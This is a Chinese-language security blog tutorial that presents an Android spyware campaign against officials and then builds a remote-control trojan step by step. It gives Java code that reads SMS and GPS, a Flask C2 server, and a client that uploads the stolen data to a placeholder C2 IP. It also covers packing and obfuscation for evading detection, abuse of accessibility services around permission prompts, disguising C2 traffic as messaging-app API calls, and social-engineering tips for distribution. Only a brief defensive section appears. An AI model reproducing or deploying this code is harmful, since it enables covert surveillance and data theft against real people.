一、从一场APT攻击说起

2022年年底，一场针对东亚地区政府官员的APT攻击行动浮出水面。这次攻击的核心是一款高度隐蔽的安卓远控木马。攻击者利用社交工程手法，将伪装成办公软件的恶意APK推送给目标受害者。当受害者安装后，这款木马悄无声息地获取了设备的最高权限，记录了受害者的通话、短信、定位信息，甚至能操控摄像头和麦克风进行实时监听。

背后的攻击链展现了高度专业化的能力，从恶意APP的隐蔽性设计，到与C2服务器的加密通信再到EDR检测绕过，几乎每一个环节都无懈可击。这篇文章将从技术角度剖析安卓手机监控技术的核心原理，并复现部分攻击流程，帮助您了解APT攻击者是如何利用这些技术实现对目标设备的全面掌控。

黑客示意图

---

二、监控技术的核心原理：从权限到控制

安卓设备的监控技术大致可以拆解为以下几个核心步骤：

  1. 获取初始权限

    2. 这是攻击的第一步，通常通过恶意APP捆绑或社交工程手法诱导用户安装，配合利用安卓高版本的权限管理机制绕过用户警觉。

  1. 持久化驻留

    2. 木马会通过隐藏图标、恶意服务常驻等手法，确保即使设备重启，也能自动启动并运行。

  1. 信息窃取模块

    2. 包括通话记录、短信、地理位置、联系人等敏感信息的提取与上传。

  1. 实时监听模块

    2. 实现对目标设备环境的实时监控，例如控制摄像头拍照、麦克风录音等。

  1. 数据回传与C2通信

    2. 数据通过加密形式上传到C2服务器，同时接收攻击者下发的命令。

接下来，我们将复现一个简单的安卓远控木马 POC，从权限获取到信息窃取，再到数据回传，完整展现攻击链核心技术。

---

三、实战复现：构建你的第一个安卓远控木马

⚠️ 合法声明：以下内容仅用于授权测试和安全研究，严禁用于非法用途！

环境准备

我们首先需要搭建一个测试环境，包括以下几个工具和平台：

  • 攻击机：Kali Linux（作为控制端和开发环境）
  • 安卓设备：一台安卓模拟器（如Genymotion）或实体手机
  • C2服务器：用于管理木马的命令与控制，例如 Flask Web 服务器
  • 工具链：Android Studio、apktool、Java JDK

核心功能模块设计

我们将实现以下几个简单的功能模块：

  1. 获取目标设备的短信
  2. 提取GPS定位
  3. 回传数据到C2服务器

黑客示意图

以下是主代码实现部分。

1. 恶意APP开发

使用Android SDK快速构建一个基础的APK，加入恶意代码。以下是获取短信和GPS信息的核心代码：

<pre><code class="language-java">// MainActivity.java: 收集短信和位置 import android.Manifest; import android.content.Context; import android.location.Location; import android.location.LocationManager; import android.telephony.SmsManager; import android.telephony.SmsMessage;

public class MainActivity extends AppCompatActivity {

@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);

// 权限检查 if (checkSelfPermission(Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) { requestPermissions(new String[]{Manifest.permission.READ_SMS}, 1); } if (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) { requestPermissions(new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, 1); }

// 获取短信内容 String smsData = getSmsContent(); System.out.println(&quot;SMS Data: &quot; + smsData);

// 获取GPS位置 String location = getLocation(); System.out.println(&quot;Location: &quot; + location); }

private String getSmsContent() { Cursor cursor = getContentResolver().query(Uri.parse(&quot;content://sms/inbox&quot;), null, null, null, null); StringBuilder smsBuilder = new StringBuilder(); while (cursor.moveToNext()) { smsBuilder.append(cursor.getString(cursor.getColumnIndex(&quot;body&quot;))).append(&quot;\n&quot;); } cursor.close(); return smsBuilder.toString(); }

private String getLocation() { LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if (location != null) { return &quot;Lat: &quot; + location.getLatitude() + &quot;, Lon: &quot; + location.getLongitude(); } return &quot;Location not found&quot;; } }</code></pre>

2. 数据回传模块

将数据上传到C2服务器，我们使用Python Flask构建一个简单的C2端。

服务器端代码：

黑客示意图

<pre><code class="language-python">from flask import Flask, request

app = Flask(__name__)

@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;]) def receive_data(): data = request.json sms_data = data.get(&#039;sms&#039;) location = data.get(&#039;location&#039;)

输出收到的数据

print(f&quot;[+] Received SMS: {sms_data}&quot;) print(f&quot;[+] Received Location: {location}&quot;) return &quot;OK&quot;

if __name__ == &#039;__main__&#039;: app.run(host=&#039;0.0.0.0&#039;, port=5000)</code></pre>

客户端上传代码：

在APP中增加一段代码，将短信和GPS信息通过POST上传：

<pre><code class="language-java">private void uploadData(String smsData, String location) { try { URL url = new URL(&quot;http://&lt;C2_SERVER_IP&gt;:5000/receive&quot;); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod(&quot;POST&quot;); conn.setRequestProperty(&quot;Content-Type&quot;, &quot;application/json; charset=UTF-8&quot;); conn.setDoOutput(true);

JSONObject json = new JSONObject(); json.put(&quot;sms&quot;, smsData); json.put(&quot;location&quot;, location);

OutputStream os = conn.getOutputStream(); os.write(json.toString().getBytes(&quot;UTF-8&quot;)); os.close();

conn.getResponseCode(); conn.disconnect(); } catch (Exception e) { e.printStackTrace(); } }</code></pre>

---

四、隐匿与免杀：对抗检测的关键

在实战中，木马程序往往不是一次性工具，攻击者需要确保其能够逃避检测并长期存活。以下是常见的隐匿与免杀技巧：

1. 加壳与混淆

通过对APK进行加壳处理，可有效隐藏恶意代码的真实功能。推荐使用 apktool + dexprotector 来进行字节码混淆。

<pre><code class="language-bash"># 反编译APK apktool d malicious_app.apk -o src

修改后重新打包

apktool b src -o malicious_app_packed.apk</code></pre>

2. 绕过权限弹窗

利用安卓的辅助功能服务，可以在用户无感的情况下自动授权高危权限。

<pre><code class="language-java">AccessibilityService service = new AccessibilityService() { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // 模拟点击权限弹窗 if (event.getPackageName().equals(&quot;com.android.settings&quot;)) { performGlobalAction(GLOBAL_ACTION_BACK); } } };</code></pre>

3. 流量加密与伪装

使用HTTPS/TLS加密C2通信，或者将流量伪装为合法的应用请求（如模拟微信、微博的API流量）。

---

五、检测与防御视角：如何发现潜在威胁？

从防御角度来看，我们可以通过以下手段来检测和响应安卓监控软件：

  1. 静态分析：使用APK解包工具（如jadx）分析APP代码中是否存在敏感权限调用（如READ_SMS、ACCESS_FINE_LOCATION）。
  1. 动态行为监控：在沙箱中运行APP，分析其流量、行为日志，检测是否存在异常C2通信。
  1. 权限异常检测：监控设备中具有高危权限的APP，核查其签名是否合法。

---

六、红队经验分享：如何提升攻击效果？

  1. 社工钓鱼技巧：安卓木马的分发往往依赖社工攻击，伪装成目标用户常用的APP是关键。比如针对企业目标，可以伪装成内部办公工具。
  1. 模块化设计：为了便于扩展功能，建议对木马进行模块化设计，比如单独开发信息窃取模块、监听模块等。
  1. 快速迭代：在红队演练中，木马往往需要快速调整以绕过蓝队检测。建议使用自动化工具完成加壳、混淆的工作。

---

至此，我们已经完整展示了安卓手机监控技术的核心原理和实践过程。安全研究人员可以通过复现这些技术，理解APT攻击的复杂性，从而强化防御能力。